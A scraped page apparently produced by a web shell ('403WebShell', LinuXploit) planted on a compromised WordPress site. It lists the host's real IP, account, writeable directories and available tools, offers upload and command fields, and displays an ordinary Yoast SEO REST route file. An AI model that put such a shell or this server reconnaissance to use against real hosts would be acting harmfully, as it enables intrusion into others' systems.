Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.137.159.163
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/wordpress-seo/src/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/wordpress-seo/src/routes/meta-search-route.php
<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Main;

/**
 * Meta_Search_Route class
 */
class Meta_Search_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents meta search route.
	 *
	 * @var string
	 */
	public const META_SEARCH_ROUTE = '/meta/search';

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$route = [
			[
				'methods'             => 'GET',
				'callback'            => [ $this, 'search_meta' ],
				'permission_callback' => [ $this, 'permission_check' ],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::META_SEARCH_ROUTE, $route );
	}

	/**
	 * Performs the permission check.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return bool
	 */
	public function permission_check( $request ) {
		if ( ! isset( $request['post_id'] ) ) {
			return false;
		}

		$post_type        = \get_post_type( $request['post_id'] );
		$post_type_object = \get_post_type_object( $post_type );

		return \current_user_can( $post_type_object->cap->edit_posts );
	}

	/**
	 * Searches meta fields of a given post.
	 *
	 * @param WP_REST_Request $request The REST request.
	 *
	 * @return WP_REST_Response
	 */
	public function search_meta( $request ) {
		$post_id = $request['post_id'];
		$query   = $request['query'];
		$meta    = \get_post_custom( $post_id );
		$matches = [];

		foreach ( $meta as $key => $values ) {
			if ( \substr( $key, 0, \strlen( $query ) ) !== $query ) {
				continue;
			}

			if ( empty( $query ) && \substr( $key, 0, 1 ) === '_' ) {
				continue;
			}

			// Skip custom field values that are serialized.
			if ( \is_serialized( $values[0] ) ) {
				continue;
			}

			$matches[] = [
				'key'   => $key,
				'value' => $values[0],
			];

			if ( \count( $matches ) >= 25 ) {
				break;
			}
		}

		return \rest_ensure_response( [ 'meta' => $matches ] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit